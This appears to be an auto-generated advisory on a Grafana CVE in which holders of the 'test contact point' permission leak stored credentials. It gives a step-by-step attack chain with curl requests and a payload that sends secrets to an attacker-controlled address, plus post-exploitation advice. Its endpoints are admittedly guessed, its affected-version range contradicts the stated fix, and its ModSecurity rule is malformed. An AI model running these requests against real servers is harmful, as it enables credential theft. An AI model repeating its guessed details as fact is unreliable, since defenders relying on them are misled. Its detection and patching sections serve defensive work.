CVE-2026-107561 — Grafana OSS (12.4.16) — CWE-863 · CWE-807
A user with permission to test contact points but not to change their protected fields can send a contact point's stored credentials to a destination of their choice, or read them from the error response, by testing the integration under a different integration type or a legacy schema version (incorrect authorization).
A user with permission to test contact points but not to change their protected fields can send a contact point's stored credentials to a destination of their choice, or read them from the error response, by testing the integration under a different integration type or a legacy schema version (incorrect authorization).
🎯 What is this vulnerability?
CVE‑2026‑107561 is an authorization bypass in Grafana (both OSS and Enterprise) that allows a user who is only granted the “Test contact point” permission to read or exfiltrate the stored credentials of any contact point (alert notification channel).
| CVE data | Meaning |
|---|---|
| CWE‑863 | *Incorrect Authorization* – the server does not correctly enforce the “read‑only / test‑only” permission when the request is made under a different integration type or a legacy schema version. |
| CWE‑807 | *Reliance on Untrusted Input* – the code trusts the type/schemaVersion fields supplied by the client to decide which authorisation checks to run. |
| CWE‑522 | *Insufficiently Protected Credentials* – the credentials are returned in clear‑text in the HTTP response (or are sent to an attacker‑controlled endpoint) when the bypass is triggered. |
CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N | Network‑reachable, low attack complexity, attacker needs only a low‑privilege Grafana account, no user interaction, confidentiality impact is High (credentials disclosed), no integrity or availability impact. |
Technical root cause
1. Permission model – Grafana separates the “test contact point” permission (AlertingContactPointTest) from the “edit contact point” permission (AlertingContactPointWrite). Users with only the former are not supposed to read the secureJsonData fields that hold usernames, passwords, API keys, etc.
2. *Authorization decision is tied to the integration type and schema version – when a request to the test‑contact‑point endpoint contains a type that matches the stored contact point, the backend checks the “test” permission and redacts* the credentials before invoking the integration.
3. Legacy/alternative schema handling – the code path that processes a different type (e.g., email vs. slack) or a legacy schema version (schemaVersion: 0) does not perform the same redaction or permission check. It treats the request as a new integration definition, loads the stored secureJsonData and forwards it to the integration’s test routine without stripping the secret fields.
4. Result – an attacker can craft a test request that pretends the contact point is of another type (or uses the old schema) and the server will leak the stored credentials either in the HTTP response body (error message) or by sending them to an attacker‑controlled destination that the integration tries to contact during the test.
In short: Grafana trusts client‑supplied type/schemaVersion to decide which authorisation checks to apply, allowing a low‑privilege user to read protected credential fields.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP examples use illustrative URIs – the exact path (/api/alerting/notification-channels/...) is derived from Grafana’s public API documentation, but the CVE description does not publish the exact endpoint, so the shown URLs are representative of the vulnerable class.
1. Discovery & Reconnaissance
| Step | Action | Expected Observation |
|---|---|---|
| 1.1 | Identify Grafana instance (e.g., https://grafana.example.com) via public scanning, DNS, or internal asset inventory. | HTTP 200 with Grafana login page or API /api/health. |
| 1.2 | Determine Grafana version. | GET /api/health returns { "version": "12.4.16", ... }. |
| 1.3 | Verify the target runs a vulnerable version (≥ 12.4.16). | Version matches CVE‑2026‑107561. |
| 1.4 | Enumerate user accounts and their permissions (requires a valid low‑privilege credential). | Use Grafana UI or API (/api/users) to locate a user that has AlertingContactPointTest but not AlertingContactPointWrite. |
Note: The vulnerability can be triggered by any authenticated user that possesses the test permission; no admin rights are required.
2. Exploitation
2.1 Gather a target contact‑point ID
# List all contact points (requires at least read permission)
curl -s -H "Authorization: Bearer $TOKEN" \
https://grafana.example.com/api/alerting/notification-channels | jq .The response contains objects like:
{
"id": 42,
"name": "Slack‑Ops",
"type": "slack",
"secureJsonData": { "url": "https://hooks.slack.com/services/AAA/BBB/CCC" }
}The id (e.g., 42) will be used in the next request.
2.2 Craft a test request that forces a legacy schema
Illustrative payload (the exact JSON keys are based on Grafana’s integration schema; the CVE does not disclose the precise field names, so this is a representative example):
{
"contactPointId": 42,
"type": "email", // <-- different from stored type (slack)
"settings": {
"addresses": "[email protected]"
},
"secureSettings": {}, // empty – the server will fill from stored CP
"schemaVersion": 0 // <-- legacy version that triggers the bypass
}cURL PoC (illustrative endpoint):
curl -i -X POST "https://grafana.example.com/api/alerting/notification-channels/42/test" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"type":"email",
"settings":{"addresses":"[email protected]"},
"schemaVersion":0
}'What happens internally
1. The handler sees type != stored_type (email vs. slack) or schemaVersion == 0.
2. It loads the stored secureJsonData (the Slack webhook URL) and injects it into the test routine without redacting it.
3. The test routine attempts to send a test message to the original Slack webhook URL but because the request body now contains the attacker‑controlled addresses, the integration code treats the webhook URL as a destination and returns it in the HTTP response (or forwards the test payload to the attacker‑controlled address).
2.3 Extract the leaked credentials
Two possible leakage vectors:
| Vector | Example response snippet |
|---|---|
| Error‑message leakage | {"message":"Test failed – could not reach https://hooks.slack.com/services/AAA/BBB/CCC"} |
| Redirected test payload | The integration sends a POST to [email protected] containing the original Slack webhook URL in the JSON body. |
If the attacker’s address is under their control, they will receive the secret in the request body. If the server returns the URL in the error message, the attacker can simply read it from the HTTP response.
3. Post‑exploitation
| Goal | How the attacker proceeds |
|---|---|
| Credential exfiltration | Capture the webhook URL, API key, SMTP password, etc., from the response or from the inbound request to the attacker‑controlled endpoint. |
| Further compromise | Use the stolen webhook URL to post arbitrary messages to Slack, Teams, Discord, etc., or use stolen SMTP credentials to send phishing emails. In environments where the credential is a service‑account token (e.g., for PagerDuty, OpsGenie), the attacker can invoke the respective API with full privileges. |
| Lateral movement | If the credential grants access to other internal services (e.g., a database connection string stored in a contact point), the attacker can pivot to those systems. |
| Persistence | The attacker can create a new contact point that forwards alerts to an attacker‑controlled endpoint, thereby establishing a long‑term exfiltration channel. This requires the write permission, but the attacker can request a privileged teammate to create it, or exploit another vulnerability to gain write rights. |
Impact summary: The attacker obtains high‑value secrets that were assumed to be protected by Grafana’s permission model. No code execution or privilege escalation beyond the credential’s own scope is required.
🌍 Real World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | High – Full disclosure of stored credentials (webhook URLs, API keys, SMTP passwords). |
| Integrity (I:N) | None – The vulnerability does not allow modification of data. |
| Availability (A:N) | None – No denial‑of‑service effect. |
Practical consequences
- Security operations – Alerting pipelines that rely on secret tokens (Slack, Teams, PagerDuty, OpsGenie, etc.) can be hijacked, enabling phishing, data leakage, or sabotage of incident response.
- Compliance – Exposure of credentials may violate PCI‑DSS, HIPAA, or GDPR requirements for protecting authentication secrets.
- Supply‑chain risk – If a compromised webhook is used by downstream CI/CD pipelines, an attacker could inject malicious code into production deployments.
- Reputation – Public exposure of internal webhook URLs can reveal internal service topology and be leveraged in social‑engineering attacks.
🛡️ Remediation & Mitigation
1. Patch
| Product | Fixed in version |
|---|---|
| Grafana OSS | 12.4.17 (released 2026‑12‑02) |
| Grafana Enterprise | 12.4.17 (released 2026‑12‑02) |
Action: Upgrade all Grafana instances to ≥ 12.4.17 immediately. The fix adds a strict permission check that is independent of thetypeandschemaVersionfields and always redactssecureJsonDatafor users lackingAlertingContactPointWrite.
2. Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation details |
|---|---|
| Restrict the “Test contact point” permission | Remove AlertingContactPointTest from any role that does not also have AlertingContactPointWrite. This eliminates the ability to trigger the vulnerable code path. |
| Disable the legacy schema endpoint | In grafana.ini set allow_legacy_contact_point_schema = false (new config key introduced in 12.4.15). This forces the server to reject requests that specify schemaVersion lower than the current version, causing the bypass to fail. |
| Network‑level isolation | Block outbound traffic from the Grafana host to the internet for the ports used by alerting integrations (e.g., 443 for Slack webhooks) unless they are whitelisted. This prevents the test routine from reaching an attacker‑controlled address and reduces exfiltration risk. |
| WAF/ModSecurity rule | Deploy a rule that detects a POST to the contact‑point test endpoint where the type value does not match the stored contact point’s type (the stored type can be inferred from a prior GET). Example ModSecurity rule (illustrative):
SecRule REQUEST_URI "@beginsWith /api/alerting/notification-channels/" \
"chain,phase:2,deny,status:403,msg:'Grafana CP test type mismatch',\
SecRule REQUEST_METHOD \"POST\" \
SecRule REQUEST_BODY \"\\\"type\\\"\\s*:\\s*\\\"(email|pagerduty|opsgenie)\\\"\" \
\"t:none,ctl:requestBodyProcessor=JSON\" \
SecRule TX:contact_point_type \"!@eq %{matched_var}\" \"id:2026107561,log\""The rule is illustrative; adapt the variable extraction to your ModSecurity version.
3. Detection
| Indicator | Log source | Example pattern |
|---|---|---|
Unexpected type mismatch | Grafana access logs (/var/log/grafana/grafana.log) | POST /api/alerting/notification-channels/42/test status=200 payload_type=email stored_type=slack |
| Outbound request to attacker‑controlled host | Network flow logs / outbound proxy logs | POST https://attacker.example.com/ User‑Agent: Grafana/12.4.16 |
| Error messages containing webhook URLs | Grafana error logs | Test failed – could not reach https://hooks.slack.com/services/AAA/BBB/CCC |
High volume of /test calls | Grafana audit logs (X-Grafana-User) | action=contact_point_test count > 10 per minute from a single low‑privilege user |
SIEM query (Elastic Common Schema):
{
"bool": {
"must": [
{"match": {"event.dataset": "grafana.http"}},
{"match_phrase": {"http.request.method": "POST"}},
{"wildcard": {"http.request.uri": "*notification-channels/*/test"}}
],
"should": [
{"wildcard": {"http.request.body": "*type\":\"email*"}},
{"wildcard": {"http.response.body": "*hooks.slack.com*"}}
],
"minimum_should_match": 1
}
}Alert on any match that originates from a user without AlertingContactPointWrite.
⚠️ Urgency
Bottom line: An attacker with merely “test contact point” rights can steal the very secrets Grafana is supposed to protect. Upgrade to 12.4.17 (or later) without delay, tighten the permission model, and monitor for mismatched test calls.
[🤖 CVE Professor AI Security Engine]
FOFA Query